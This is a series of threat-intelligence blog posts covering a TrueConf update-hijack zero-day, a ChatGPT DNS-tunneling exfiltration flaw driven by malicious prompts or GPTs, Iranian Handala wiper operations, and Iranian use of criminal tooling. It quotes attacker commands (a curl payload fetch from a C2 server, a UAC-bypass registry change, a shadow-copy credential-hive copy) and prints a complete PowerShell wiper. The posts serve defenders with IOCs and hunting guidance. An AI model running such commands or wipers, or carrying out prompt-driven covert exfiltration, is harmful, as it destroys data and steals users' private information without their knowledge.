When the TrueConf client starts, it checks the connected on-premises server for available updates. If the server has a newer client version than the one installed, the application prompts the user to download the update from https://{trueconf_server}/downlods/trueconf_client.exe, which maps to the file stored on the server under C:\Program Files\TrueConf Server\ClientInstFiles\.

TrueConf client update starts when the client detects a version mismatch in favor of the TrueConf on-premises server, the client alerts the user that a newer version is available and offers to download it.

The vulnerability stems from the lack of integrity and authenticity checks in this update flow. An attacker who gains control of the on-premises TrueConf server can replace the expected update package with an arbitrary executable, presented as the current application version, and distribute it to all connected clients. Because the client trusts the server-provided update without proper validation, the malicious file can be delivered and executed under the guise of a legitimate TrueConf update.

In-The-Wild Exploitation

The infections began when TrueConf client application launched, probably by a link sent to the target from the attacker. This link launched the already installed TrueConf client and presented an update prompt claiming that a newer version was available.

Prior to the victim’s interaction, the attacker had already replaced the update package on the TrueConf on-premises server with a weaponized version, ensuring that the client retrieved a malicious file through the normal update process.

The compromised TrueConf on-premises server was operated by the governmental IT department and served as a video conferencing platform for dozens of government entities across the country, which were all supplied with the same malicious update.

Analysis of the downloaded package showed that it was a weaponized client update. The installation was built by Inno Setup. It would successfully upgrade the client version from 8.5.1 to the current at the time 8.5.2. Alongside the legitimate TrueConf installation components, the package dropped a benign poweriso.exe executable and a malicious 7z-x64.dll file to the path c:\programdata\poweriso\, which was then loaded through DLL side-loading.

Using the malicious 7z-x64.dll implant, the attacker performed a series of hands-on-keyboard actions focused on reconnaissance, environment preparation, persistence, and the retrieval of additional payloads.

• Initial reconnaissance included commands such as:
  • tasklist > cache
  • tracert 8.8.8.8 -h 5
• Downloaded from the FTP server an additional loader isciexe.dll, and extract it to the %temp% directory:
  • curl -u ftpuser:<redacted> ftp://47.237.15[.]197/update.7z -o c:\program files\winrar\winrar.exe x update.7z -p <redacted>
• The attacker then modified the current user’s PATH variable, in order to preform UAC bypass by using the Microsoft iSCSI Initiator Control Panel tool:
  • reg add "hkcu\environment" /v path /t REG_SZ /d "C:\users\<redacted>\appdata\local\temp" /f c:\windows\system32\cmd.exe c:\windows\syswow64\iscsicpl.exe

iscsicpl.exe is a legitimate Windows binary that can be abused for UAC bypass because its 32-bit SysWOW64 version is auto-elevated and is vulnerable to DLL search-order hijacking for iscsiexe.dll. By placing a malicious iscsiexe.dll in a user-controlled location referenced through the user’s %PATH%, an attacker can cause Windows to resolve and load that DLL in the context of the elevated iscsicpl.exe, resulting in privilege escalation without a UAC prompt.

The downloaded update.7z archive contained a legitimate 7z.exe binary alongside iscsiexe.dll, a component used by the attackers as part of the post-compromise workflow. Check Point Research also identified additional variants of the archive that included an encrypted 7z archive named rom.dat. At the time of analysis, the contents and purpose of rom.dat remained unclear.

The iscsiexe.dll component appears to be a simple, custom persistence and privilege escalation tool. Rather than serving as a full-featured backdoor, its role was limited to maintaining execution of winexec.exe, which is the renamed poweriso.exe binary dropped earlier in the infection chain.

Although Check Point Research did not recover the exact final-stage payload associated with the malicious 7z-x64.dll activity, it observed network communication to 47.237.15[.]197, an attacker-controlled server running Havoc C2 infrastructure, and also identified Havoc demon sample linked to actor C2 infrastructure. Based on this combined evidence, Check Point Research assesses with high confidence that the missing payload was a Havoc implant.

Havoc is an open-source post-exploitation framework intended for penetration testing and adversary emulation, but it has also been repeatedly abused by threat actors in real-world intrusions, including Chinese-nexus Amaranth Dragon activity recently documented by Check Point Research.

Attribution

Check Point Research assesses with moderate confidence that operation TrueChaos is associated with a Chinese-nexus threat actor. The assessment is based on a combination of factors, including TTPs consistent with Chinese-nexus operations such as DLL sideloading, the use of Alibaba Cloud and Tencent hosting for command-and-control infrastructure and the victimology aligns with Chinese nexus strategic interests.

We also observed that the same victim was targeted within the same time frame by ShadowPad malware framework. This may indicate overlap in operator tooling, shared access, or the presence of multiple China-aligned actors targeting the same organization in parallel.

Conclusion

The exploitation of CVE-2026-3502 did not require the attacker to compromise each endpoint individually. Instead, the attacker abused the trusted relationship between a central on-premises TrueConf server and its clients. By replacing a legitimate update with a malicious one, they turned the product’s normal update flow into a malware distribution channel across multiple connected government networks.

From a research perspective, this case shows how monitoring and analysing routine execution techniques can uncover far more significant threats. What initially appeared to be a signed binary used for DLL sideloading ultimately led to the discovery of a zero-day vulnerability in TrueConf’s update validation mechanism.

Hunting Recommendations

In order to identify whether you have been compromised, review the following indicators and hunting opportunities across the affected system: 

• Check whether trueconf_windows_update.exe is unsigned, as an unsigned update executable may indicate that the file is suspicious or has been tampered with.
• Treat the system as potentially infected if C:\ProgramData\PowerISO\poweriso.exe is present on disk, especially if this file is not expected in your environment.
• Treat the system as potentially infected if the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateCheck points to C:\ProgramData\PowerISO\PowerISO.exe, as this indicates persistence through a user logon autorun entry.
• Treat the system as potentially infected if files such as %AppData%\Roaming\Adobe\update.7z, 7za.exe, iscsiexe.dll, or rom.dat are present, or if there is evidence that they were recently created and then deleted.
• Hunt for file creation activity in which trueconf_windows_update.tmp creates C:\ProgramData\PowerISO\poweriso.exe or 7z-x64.dll, as this behavior is consistent with the observed delivery chain.
• Hunt for poweriso.exe spawning commands through cmd.exe, particularly when the command line includes tools or utilities such as curl, winrar.exe, or netstat, since this may indicate download, extraction, or discovery activity.
• Hunt for the suspicious parent-child process chain trueconf.exe -> trueconf_windows_update.exe -> trueconf_windows_update.tmp -> any executable, as this sequence may reveal execution of the malicious payload.

Indicators of Compromise

trueconf_windows_update.exe – Malicious TrueConf client update
22e32bcf113326e366ac480b077067cf

iscsiexe.dll – Loader
9b435ad985b733b64a6d5f39080f4ae0

7z-x64.dll – Havoc implant
248a4d7d4c48478dcbeade8f7dba80b3

43.134.90[.]60 – Havoc C2
43.134.52[.]221 – Havoc C2
47.237.15[.]197 – Havoc C2

The post Operation TrueChaos: 0-Day Exploitation Against Southeast Asian Government Targets appeared first on Check Point Research.

Key Takeaways

• Sensitive data shared with ChatGPT conversations could be silently exfiltrated without the user’s knowledge or approval.
• Check Point Research discovered a hidden outbound communication path from ChatGPT’s isolated execution runtime to the public internet.
• A single malicious prompt could turn an otherwise ordinary conversation into a covert exfiltration channel, leaking user messages, uploaded files, and other sensitive content.
• A backdoored GPT could abuse the same weakness to obtain access to user data without the user’s awareness or consent.
• The same hidden communication path could also be used to establish remote shell access inside the Linux runtime used for code execution.

What Happened

AI assistants now handle some of the most sensitive data people own. Users discuss symptoms and medical history. They ask questions about taxes, debts, and personal finances, upload PDFs, contracts, lab results, and identity-rich documents that contain names, addresses, account details, and private records. That trust depends on a simple expectation: data shared in the conversation remains inside the system.

ChatGPT itself presents outbound data sharing as something restricted, visible, and controlled. Potentially sensitive data is not supposed to be sent to arbitrary third parties simply because a prompt requests it. External actions are expected to be mediated through explicit safeguards, and direct outbound access from the code-execution environment is restricted.

Our research uncovered a path around that model.

We found that a single malicious prompt could activate a hidden exfiltration channel inside a regular ChatGPT conversation.

The Intended Safeguards

ChatGPT includes useful tools that can retrieve information from the internet and execute Python code. At the same time, OpenAI has built safeguards around those capabilities to protect user data. For example, the web-search capability does not allow sensitive chat content to be transmitted outward through crafted query strings. The Python-based Data Analysis environment was designed to prevent internet access as well. OpenAI describes that environment as a secure code execution runtime that cannot generate direct outbound network requests.

OpenAI also documents that so called GPTs can send relevant parts of a user’s input to external services through APIs. A GPT is a customized version of ChatGPT that can be configured with instructions, knowledge files, and external integrations. GPT “Actions” provide a legitimate way to call third-party APIs and exchange data with outside services. Actions are useful for enterprise workflows, access to internal business systems, customer support operations, and other integrations that connect ChatGPT to external services, including simpler use cases such as travel or weather lookups. The key point is visibility: the user sees that data is about to leave ChatGPT, sees where it is going, and decides whether to allow it.

In other words, legitimate outbound data flows are designed to happen through an explicit, user-facing approval process.

From One Message to Silent Exfiltration

From a security perspective, the obvious attack surfaces looked strong. The ability to send chat data through tools not designed for that purpose was strictly limited. Sending data through a legitimate GPT integration using external API calls also required explicit user confirmation.

The vulnerability we discovered allowed information to be transmitted to an external server through a side channel originating from the container used by ChatGPT for code execution and data analysis. Crucially, because the model operated under the assumption that this environment could not send data outward directly, it did not recognize that behavior as an external data transfer requiring resistance or user mediation. As a result, the leakage did not trigger warnings about data leaving the conversation, did not require explicit user confirmation, and remained largely invisible from the user’s perspective.

At a high level, the attack began when the victim sent a single malicious prompt into a ChatGPT conversation. From that moment on, each new message in the chat became a potential source of leakage. The scope of that leakage depended on how the prompt framed the task for the model: it could include raw user text, text extracted from uploaded files, or selected model-generated output such as summaries, medical assessments, conclusions, and other condensed intelligence. This made the attack flexible, because it allowed the attacker to target not only original user data, but also the most valuable information produced by the model itself.

That attack pattern fits naturally into ordinary user behavior. The internet is full of websites, blog posts, forums, and social media threads promoting “top prompts for productivity,” “best prompts for work,” and other ready-made instructions that supposedly improve ChatGPT’s performance. For many users, copying and pasting such prompts into a new conversation is routine and does not appear risky, because the prevailing expectation is that AI assistants will not silently leak conversation data to external parties, and that this boundary cannot be changed through an ordinary prompt. A malicious prompt distributed in that format could therefore be presented as a harmless productivity aid and interpreted as just another useful trick for getting better results from the assistant.

A broader campaign could use an even more convincing lure: prompts advertised as a way to unlock premium capabilities for free. Claims about enabling Pro-level behavior, hidden modes, or advanced features on a lower-tier account would give the attacker a natural pretext for including unusual instructions, long text blocks, or opaque fragments that might otherwise seem suspicious. Because the user already expects a nonstandard sequence, those elements can easily be perceived as part of the promised “hack.” A carefully crafted prompt could then create the appearance of enhanced functionality while quietly turning the conversation into a source of exfiltrated data.

Once the malicious prompt was placed into the chat, the conversation effectively became a covert collection channel. From that point on, summaries of subsequent user messages could be silently transmitted to an attacker-controlled server. As shown in Video 1, this took place without any warning, approval request, or other visible indication of external data transfer.

Malicious GPTs

The same attack pattern becomes even more dangerous when embedded inside a custom GPT.

GPTs allow developers to package instructions, knowledge files, and external integrations into a reusable assistant that other users can interact with. From the user’s perspective, the interaction looks like a normal ChatGPT conversation with a specialized tool.

In that scenario, the attacker no longer needs to rely on the victim copying a prompt from an external source. The malicious logic can be embedded directly in the GPT’s instructions and files. A user only needs to open the GPT and begin interacting with it as intended.

This changes the threat model significantly. Officially, GPT builders do not have access to individual user conversations with their GPTs. However, a GPT designed to exploit the vulnerability could still cause selected information from those conversations to be transmitted to an attacker-controlled server. From the user’s perspective, the interaction would remain indistinguishable from an ordinary session with a specialized assistant.

To demonstrate the practical impact of the vulnerability, we built a proof of concept around a sensitive scenario: a GPT acting as a personal doctor.

In the demonstration, the user uploaded a PDF containing laboratory test results. The document also contained personal information, including the patient’s name. The user then described symptoms and asked the GPT to help interpret the results.

From the user’s perspective, the interaction looked completely ordinary. The GPT analyzed the document and produced a medical assessment based on the provided information.

When asked directly whether the uploaded data had been sent anywhere, ChatGPT answered confidently that it had not, explaining that the file was only stored in a secure internal location. At the same time, the user saw no approval prompts or warnings about external data transfer, unlike the confirmation dialogs that normally appear when a GPT Action sends information to a third-party service.

Meanwhile, the attacker’s server received highly sensitive data extracted from the conversation: the patient’s identity taken from the uploaded document together with the model’s medical assessment.

This illustrates an important aspect of the attack. The attacker does not necessarily need to steal entire documents. Instead, the prompt could instruct the model to transmit the most valuable information it produces. In the medical scenario, that meant the patient’s identifying details together with the model’s assessment. In other contexts, it could mean financial conclusions, contract summaries, or strategic insights extracted from long documents.

From Data Exfiltration to Remote Shell

The same communication channel could be used for more than silent data exfiltration.

Once a reliable bidirectional channel existed between the execution runtime and the attacker-controlled server, it became possible to send commands into the container and receive the results back through the same path. In effect, the attacker could establish a remote shell inside the Linux environment that ChatGPT creates to perform code execution and data analysis tasks.

This interaction happened outside the normal ChatGPT response flow. When users interact with the assistant through the chat interface, generated actions and outputs remain subject to the model’s safety mechanisms and checks. However, commands executed through the side channel bypassed that mediation entirely. The results were returned directly to the attacker’s server without appearing in the conversation or being filtered by the model.

DNS Tunneling in an AI Runtime

The side channel that enabled both data exfiltration and remote command execution relied on DNS resolution.

Normally, DNS is used to resolve domain names into IP addresses. From a security perspective, however, DNS can also function as a data transport channel. Instead of using DNS only for ordinary name resolution, an attacker can encode data into subdomain labels and trigger resolution of those hostnames. Because DNS resolution propagates the requested hostname through the normal recursive lookup process, the resolver chain can carry that encoded data outward.

In our case, this mattered because the ChatGPT execution runtime did not permit conventional outbound internet access, but DNS resolution was still available as part of the environment’s normal operation. Standard attempts to reach external hosts directly were blocked. DNS, however, still provided a narrow communication path that crossed the isolation boundary indirectly through legitimate resolver infrastructure.

To exfiltrate data, content could be encoded into DNS-safe fragments, placed into subdomains, and reconstructed on the attacker’s side from the incoming queries. To send instructions back, the attacker could encode small command fragments into DNS responses and let them travel back through the same resolution path. A process running inside the container could then read those responses, reassemble the payload, and continue the exchange.

This effectively turned DNS infrastructure into a tunnel between the isolated runtime and an attacker-controlled server. The tunnel create in this way is sufficient for two practical goals: silently leaking selected data from the conversation and maintaining command execution inside the Linux environment created for code execution and data analysis.

Conclusion

Check Point Research reported the issue to OpenAI. OpenAI confirmed that it had already identified the underlying problem internally, and the fix was fully deployed on February 20, 2026.

The broader lesson, however, goes beyond this specific case. AI systems are evolving at an extraordinary pace. New capabilities are constantly being introduced, enabling assistants to solve complex mathematical problems, analyze large datasets, generate and execute scripts, and automate multi-step tasks that previously required dedicated development environments. These capabilities bring enormous benefits. At the same time, every new tool expands the system’s attack surface and can introduce new security challenges for both users and platform providers.

Modern AI assistants increasingly operate as real execution environments. They read files, run code, search in the web while processing highly sensitive information such as medical records, financial data, legal documents, and other personal or organizational data. Protecting these environments requires careful control over every possible outbound communication path, including infrastructure layers that users never see.

As AI tools become more powerful and widely used, security must remain a central consideration. These systems offer enormous benefits, but adopting them safely requires careful attention to every layer of the platform.

The post ChatGPT Data Leakage via a Hidden Outbound Channel in the Code Execution Runtime appeared first on Check Point Research.

Key Findings

• Handala Hack is an online persona operated by Void Manticore (aka Red Sandstorm, Banished Kitten), an actor affiliated with Iranian Ministry of Intelligence and Security (MOIS)
• Additional personas associated with this actor include Karma and Homeland Justice, which have been used in targeted operations against Israel and Albania
• Handala continues to rely on longstanding TTPs, primarily conducting quick, hands-on activity within victim networks and employing multiple wiping methods simultaneously
• In parallel, some newly observed TTPs include the deployment of NetBird to tunnel traffic into the network, as well as the use of an AI-assisted PowerShell script for wiping activity

Introduction

Handala Hack, also tracked by Check Point Research as Void Manticore, is an Iranian threat actor that is known for multiple destructive wiping attacks combined with “hack and leak” operations. The threat actor operates several online personas, with the most prominent among them being Homeland Justice, maintained from mid-2022 specifically for multiple attacks against government, telecom, and other sectors in Albania, as well as Handala Hack, which has been responsible for multiple intrusions in Israel and recently expanding its targeting to US-based enterprises such as medical technology giant Stryker.

The techniques, tactics, and procedures (TTPs) associated with Void Manticore intrusions remained largely consistent throughout 2024 to 2026, as the group continued to rely primarily on manual, hands-on operations, off-the-shelf wipers, and publicly available deletion and encryption tools. Accordingly, our previous research on the actor, published in early 2025, remains highly relevant to understanding their activity. Void Manticore has historically used both custom-built and publicly available tools, while also relying on underground criminal services to obtain initial access and malware.

As the group’s operations expanded in scope, with recent attacks targeting U.S. organizations, we decided to share our observations on this cluster’s activity, with a particular focus on recent TTPs and newly identified indicators. Because the group operates primarily through manual, hands-on activity, its indicators tend to be short-lived and consist largely of commercial VPN services, open-source software, and publicly available offensive security tools.

Background

“Handala Hack” is an online persona operated by Void Manticore (Red Sandstorm, Banished Kitten), a MOIS-affiliated threat actor, and appears to draw its name and imagery from the Palestinian cartoon character Handala. The persona has been used extensively since late 2023 and represents one of the group’s three primary operational fronts. The other two are Karma, which was likely completely replaced by Handala, and Homeland Justice, a persona the group continues to use in operations targeting Albania.

Based on our observations, intrusions linked to all three personas exhibit highly similar TTPs, as well as code overlaps in the wipers they deploy. Another distinctive characteristic shared by Karma and “Homeland Justice” is the collaboration with Scarred Manticore, a separate Iranian threat actor. In the case of Handala and Karma, we have also observed incidents in which the victim-facing group (i.e., messaging within the wipers, notes left in a compromised environment) was presented as Karma, while the stolen data was ultimately leaked through Handala.

One possible explanation is that Karma and Handala initially represented two separate teams or operational efforts within the same organization, but later converged under a single brand. This would be consistent with Karma’s complete disappearance and Handala’s emergence as the dominant public-facing persona.

According to public reporting, Void Manticore overlaps with activity linked to the MOIS Internal Security Deputy, particularly its Counter-Terrorism (CT) Division, operating under the supervision of Seyed Yahya Hosseini Panjaki. Panjaki was reportedly killed in the opening phase of Israel’s strikes on Iran in early March 2026.

Initial Access

Supply Chain Attacks

Handala has consistently targeted IT and service providers in an effort to obtain credentials, relying largely on compromised VPN accounts for initial access. Throughout the last months, we identified hundreds of logon and brute-force attempts against organizational VPN infrastructure linked to Handala-associated infrastructure. This activity typically originates from commercial VPN nodes and is frequently tied to default hostnames in the format DESKTOP-XXXXXX OR WIN-XXXXXX.

After the internet shutdown in Iran in January, we observed similar activity originating from Starlink IP ranges, and it has continued since. This has occurred in parallel with a decline in the actor’s operational security, as the group has also begun connecting directly to victims from Iranian IP addresses.

Previously, the adversary generally maintained stronger operational discipline, typically egressing through the commercial VPN segment 169.150.227.X while operating against targets in Israel. In some cases, however, the VPN connection failed, exposing communications from Iranian IP addresses or from a virtual private server. Since the start of the war, the actor has struggled to maintain this level of operational security. At times, it successfully egressed through an Israeli node, 146.185.219[.]235, assessed to be linked to a VPN service, although this differed from the segment previously used.

Activity Before Impact

In a recent intrusion attributed to Handala, initial access is believed to have been established well before the destructive phase, with network access dating back several months. This earlier activity likely provided the group with persistent access and the Domain Administrator credentials required to carry out the attack. In the hours leading up to the destructive activity, Handala appeared to validate its access and test authentication using the compromised credentials.

It is unclear whether this activity is directly associated with Handala, as it slightly differs from their typical TTPs. The actor disabled Windows Defender protections and executed multiple reconnaissance and credential-theft operations. Shortly afterwards, the attacker attempted to retrieve an additional payload from a dedicated command-and-control server (107.189.19[.]52).

The adversary then proceeded with credential extraction using multiple techniques. These included dumping the LSASS process using comsvcs.dll via rundll32.exe, as well as exporting sensitive registry hives such as HKLM. In parallel, the attacker executed ADRecon (named dra.ps1), a PowerShell-based reconnaissance framework used to enumerate Active Directory environments. At this point, it likely achieved Domain Admin credentials used in “Handala”s wiping attack.

wmic.exe /node:[REDACTED_HOSTNAME] /user:[REDACTED] /password:[REDACTED] process call create "cmd.exe /c   copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system  c:\users\public”

Lateral Movement

Handala is known to operate primarily in a manual, hands-on manner, with lateral movement conducted largely through extensive use of RDP to move between systems within a compromised environment. To reach hosts that were not directly accessible from outside the network, the group was observed deploying NetBird, a platform designed to create secure, private zero-trust mesh networks.

The deployment of NetBird was performed manually. The attackers first connected to compromised hosts via RDP and then used the local web browser to download the software directly from the official NetBird website.

By installing NetBird on multiple machines within the environment, the attackers were able to establish internal connectivity between systems and operate more efficiently. This approach enabled them to accelerate destructive activity while maintaining control of the operation from multiple footholds inside the network. During the incident, we observed at least five distinct attacker-controlled machines operating simultaneously within the environment.

Wiping Operations

During the destructive phase of the attack, we observed the group deploying four distinct wiping techniques in parallel, likely to maximize impact and inflict the greatest possible damage. To further increase the effect, the threat actor used Group Policy to distribute the different wipers across the network.

Handala Wiper

The first stage involved the deployment of a custom wiper, referred to as Handala Wiper (in some instances named handala.exe).

The wiper was distributed across the network as a scheduled task using Group Policy logon scripts, which executed a batch file named handala.bat. This script simply triggered the execution of two wiper components – the executable and the PowerShell script. Notably, the executable itself was launched remotely from the Domain Controller (DC) and was not written to disk on the affected machines. The malware overwrites file contents across the system and additionally leverages MBR-based wiping techniques to corrupt or destroy files on the system, contributing to significant data loss.

Handala PowerShell Wiper

As a final stage of the destructive operation, the attackers deployed an additional custom PowerShell-based wiper. Similar to the previous component, this script was also distributed through Group Policy logon scripts, allowing it to propagate across multiple systems within the network.

The PowerShell wiper performs a straightforward but effective operation: it enumerates all files within users directories and deletes them, further compounding the damage caused by the initial wiping activity. Based on the code structure and the detailed comments, it is likely that this PowerShell script was developed with AI assistance.

$usersFolder = C:\Users
 
# Ensure the folder exists
if (Test-Path $usersFolder) {
    # Get all items in C:\Users, but not the Users folder itself
    $items = Get-ChildItem -Path $usersFolder -Recurse
 
    # Remove each item (files and subfolders) inside C:\Users
    foreach ($item in $items) {
        try {
            Remove-Item -Path $item.FullName -Recurse -Force -ErrorAction Stop
        } catch {
            Write-Host Could not delete: $($item.FullName)
        }
    }
}
 
 
 
$sourceFile = \\[REDACTED]\SYSVOL\[REDACTED]\scripts\Administtration\install\handala.rar
$destinationFolder = C:\users
 
 
if (!(Test-Path $destinationFolder)) {
    New-Item -ItemType Directory -Path $destinationFolder | Out-Null
}
 
$driveLetter = (Split-Path $destinationFolder -Qualifier).TrimEnd(':','\')
 
$i = 0
 
while ((Get-PSDrive $driveLetter).Free -gt (Get-Item $sourceFile).Length) {
    Copy-Item $sourceFile $destinationFolder\Handala_$i.gif
    $i++
}

Use of Disk Encryption for Destruction

In addition to the custom wiping tools, we observed the attackers attempting to leverage VeraCrypt, a legitimate and widely used disk encryption utility. In this case, the attacker connected to the compromised host via RDP and used the system’s default web browser to download the software directly from the official website. By encrypting the system drives using a legitimate tool, the attackers added an additional layer to the destructive process. This technique not only increases the operational impact but can also complicate recovery efforts, as encrypted disks may remain inaccessible even if other wiping components fail or are only partially successful.

Manual Deletion

In some cases, Handala Hack operators manually delete virtual machines directly from the virtualization platform or files from compromised machines. This straightforward process involves logging in via RDP, selecting all files, and deleting them. We observed this behavior in several incidents, and it is also documented in Handala Hack’s own videos and leaked materials.

Summary

In this report, we detailed the background of the “Handala Hack” persona and its links to Void Manticore, an actor affiliated with Iran’s Ministry of Intelligence and Security (MOIS). Handala is not the only persona maintained by this actor, which operates several fronts in campaigns targeting the United States, Israel, and Albania.

Like many destructive threat actors, Handala relies on relatively simple TTPs, largely aiming for quick, opportunistic wins through hands-on operations against its targets. These activities include gaining initial access through compromised credentials, moving laterally via RDP and basic tunneling tools, and deploying wipers alongside manual destructive actions. Their modus operandi has not shifted significantly, and strengthening defenses against these techniques remains an effective way to counter this threat.

Recommendations for Defenders

• Enforce multi-factor authentication, especially for remote access and privileged accounts
• Monitor for the use of compromised credentials and suspicious authentication activity, with an emphasis on the following:
  • Logins from countries not previously observed for your organization or specific users
  • Unusual access patterns, including:
    • First-time logins outside typical hours
    • Multiple failed logins followed by success
    • New device registrations
    • Unusual data transfer volumes during VPN sessions
    • Authentication from new ASN/hosting providers
  • Restrict access from high-risk geographies and infrastructure
    • Block inbound connections from Iran at the perimeter and on remote access services (VPN/SSO), unless there is a verified business need
    • Block or tightly restrict Starlink IP ranges, given observed abuse in Iranian actor operations
    • If full blocking is not feasible, implement conditional access controls, increased authentication requirements, and enhanced monitoring for these ranges
  • Consider temporarily tightening remote access policies If operationally possible, temporarily restrict VPN connectivity to to business related countries only, with exceptions approved based on business need (e.g., whitelisted users/locations, dedicated jump hosts, or managed devices only).
• Restrict and harden RDP access across the environment; disable it where not operationally required. Actively search for RDP access from machines with the default Windows naming conventions (i.e DESKTOP-XXXXXX OR WIN-XXXXXXXX), specially outside of working hours
• Monitor for the use of potentially unwanted software, including remote management and monitoring (RMM) tools, VPN applications such as NetBird, and tunneling utilities such as SSH for windows

IOCs

Type	IOC
Handala Wiper	5986ab04dd6b3d259935249741d3eff2
Handala Powershell Wiper	3cb9dea916432ffb8784ac36d1f2d3cd
VeraCrypt Installer	3236facc7a30df4ba4e57fddfba41ec5
NetBird Installer	3dfb151d082df7937b01e2bb6030fe4a
NetBird	e035c858c1969cffc1a4978b86e90a30
Handala VPS	82.25.35[.]25
Handala VPS	31.57.35[.]223
Handala VPS	107.189.19[.]52
VPN exit node used by Handala	146.185.219[.]235
Starlink IP range used by Handala	188.92.255.X
Starlink IP range used by Handala	209.198.131.X
Commercial VPN IP range used by Handala	149.88.26.X
Commercial VPN IP range used by Handala	169.150.227.X

Handala Machine Names
WIN-P1B7V100IIS
DESKTOP-FK1NPHF
DESKTOP-R1FMLQP
WIN-DS6S0HEU0CA
DESKTOP-T3SOB36
WIN-GPPA5GI4QQJ
VULTR-GUEST
DESKTOP-HU45M79
DESKTOP-TNFP4JF
DESKTOP-14O69KQ
DESKTOP-9KG46L1
DESKTOP-G2MH4KD
WIN-DS6S0HEU0CA
WIN-GPPA5GI4QQJ

MITRE ATT&CK Breakdown

ATT&CK Tactic	Technique	Observed Activity
Initial Access	T1133 – External Remote Services	Use of compromised VPN access for entry into victim environments.
Initial Access	T1078.002 – Valid Accounts: Domain Accounts	Use of stolen/supplied credentials, including Domain Admin credentials.
Initial Access	T1199 – Trusted Relationship	Targeting of IT and service providers.
Credential Access	T1110 – Brute Force	Repeated logon and brute-force attempts against VPN infrastructure.
Credential Access	T1003.001 – OS Credential Dumping: LSASS Memory	LSASS dumping via rundll32 and comsvcs.dll.
Credential Access	T1003.002 – OS Credential Dumping: Security Account Manager	Export of sensitive registry hives for credential extraction.
Discovery	T1087.002 – Account Discovery: Domain Account	ADRecon used to enumerate the Active Directory environment.
Lateral Movement	T1021.001 – Remote Services: Remote Desktop Protocol	Extensive hands-on lateral movement over RDP.
Command and Control	T1572 – Protocol Tunneling	NetBird used to tunnel traffic and reach internal hosts.
Execution	T1105 – Ingress Tool Transfer	NetBird and VeraCrypt downloaded directly onto victim systems.
Execution	T1047 – Windows Management Instrumentation	WMIC was used to run commands.
Execution / Persistence	T1484.001 – Group Policy Modification	Wipers distributed via GPO.
Execution / Persistence	T1037.003 – Network Logon Script	Logon scripts used to trigger destructive components.
Execution	T1053.005 – Scheduled Task	Handala wiper launched as a scheduled task.
Execution	T1059.001 – PowerShell	AI-assisted PowerShell wiper used for destructive activity.
Impact	T1561.002 – Disk Structure Wipe	MBR-based wiping by the custom Handala wiper.
Impact	T1485 – Data Destruction	File deletion, manual deletion, and destructive cleanup.
Impact	T1486 – Data Encrypted for Impact	VeraCrypt used to encrypt disks as part of the attack.

The post “Handala Hack” – Unveiling Group’s Modus Operandi appeared first on Check Point Research.

Key Points

• Iran-linked actors are increasingly engaging with the cyber crime ecosystem. Their activity suggests a growing reliance on criminal tools, services, and operational models in support of state objectives.
• Iranian actors have long used cyber crime and hacktivism as cover for destructive activity, but the trend now suggests direct engagement with the criminal ecosystem.
• This dynamic appears most prominently among Ministry of Intelligence and Security (MOIS)-linked actors, particularly Void Manticore (a.k.a “Handala Hack”) and MuddyWater, where repeated overlaps with criminal tools, services, or clusters have been observed.
• Such engagement offers a dual advantage: it enhances operational capabilities through access to mature criminal tooling and resilient infrastructure, while complicating attribution and contributing to recurring confusion around Iranian threat activity.

Introduction

For years, Iranian intelligence services have operated through deniable criminal intermediaries in the physical world. A similar pattern is now becoming visible in cyber space, where state objectives are increasingly pursued through criminal tools, services, and operational models. Notably, this dynamic appears with growing frequency in activity associated with actors linked to the Ministry of Intelligence and Security (MOIS).

For a long time, Iranian actors sought to mask state activity behind the appearance of ordinary cyber crime, most often by posing as ransomware operators. The trend we are seeing now goes beyond imitation. Rather than simply adopting criminal and hacktivist personas to complicate attribution, some Iranian actors appear to be associating with the cyber criminal ecosystem itself, leveraging its malware, infrastructure, and affiliate-style mechanisms. This shift matters because it does more than improve deniability; it can also expand operational reach and enhance technical capability.

In this blog, we examine several cases that reflect this evolution, including Iranian-linked use of ransomware branding, commercial infostealers, and overlaps with criminal malware clusters. Taken together, these examples suggest that for some MOIS-associated actors, cyber crime is no longer just a cover story, but an operational resource.

Background – MOIS and Criminal Activity

Long before concern shifted to the digital arena, some of the clearest signs of cooperation between Iran’s intelligence services and criminal actors appeared in plots involving surveillance, kidnappings, shootings, and assassination attempts. In those cases, the value of criminal networks was straightforward: they gave Tehran reach, deniability, and access to people willing to carry out violence at arm’s length.

According to the U.S. Treasury, one of the clearest examples involved the network led by narcotics trafficker Naji Ibrahim Sharifi-Zindashti, which Treasury said operated at the behest of MOIS and targeted dissidents and opposition activists. The FBI has similarly said that an MOIS directorate operated the Zindashti criminal network and its associates against Iranian dissidents in the United States.

Sweden has described a similar pattern. According to Sweden’s Security Service, the Iranian regime has used criminal networks in Sweden to carry out violent acts against states, groups, and individuals it sees as threats; Swedish officials later linked that concern to attacks aimed at Israeli and Jewish targets, including incidents near Israel’s embassy in Stockholm.

Recent activity we have analyzed and associate with MOIS-affiliated cyber actors suggests that the same logic is now being applied in the cyber domain. The emphasis is not only on imitating cyber criminal behavior, but on associating with the cyber criminal ecosystem itself: drawing on its infrastructure, access brokers, marketplaces, and affiliate-style relationships.

Void Manticore (Handala) and Rhadamanthys

Void Manticore, an Iranian threat actor linked to several hack-and-leak personas, is one of the most active groups pursuing strategic objectives through cyber operations. It has leveraged “hacktivistic” personas such as Homeland Justice in attacks against Albania and Handala in operations targeting Israel. While the group is most commonly associated with “hack and leak” operations and disruptive attacks, particularly wiper operations, the emergence of its Handala persona also revealed the use of a commercial infostealer sold on darknet forums: Rhadamanthys.

Rhadamanthys is a widely used infostealer employed by a range of threat actors, including both financially motivated groups and state-sponsored operators. It has built a strong reputation due to its complex architecture, active development, and frequent updates. Handala used Rhadamanthys on several occasions, pairing it with one of its custom wipers in phishing lures aimed at Israeli targets, most dominantly impersonating F5 updates.

MuddyWater – Tsundere Botnet and the Castle Loader Connection

MuddyWater, a threat actor that U.S. authorities have linked to Iran’s MOIS, has conducted cyber espionage and other malicious operations focused on the Middle East for years. According to CISA, MuddyWater is a subordinate element within MOIS and has carried out broad campaigns in support of Iranian intelligence objectives, targeting government and private-sector organizations across sectors including telecommunications, defense, and energy.

Recent reports detailing the activity of MuddyWater link its operations to several cyber crime clusters of activity. This appears to work in the actors’ favor: the use of such tools has created significant confusion, leading to misattribution and flawed pivoting, and clustering together activities that are not necessarily related. This demonstrates that the use of criminal software can be effective for obfuscation, and highlights the need for extreme caution when analyzing overlapping clusters.

To address this, we attempted to bring structure to the available evidence, to the best of our ability, and identify which activity is truly associated with MuddyWater.

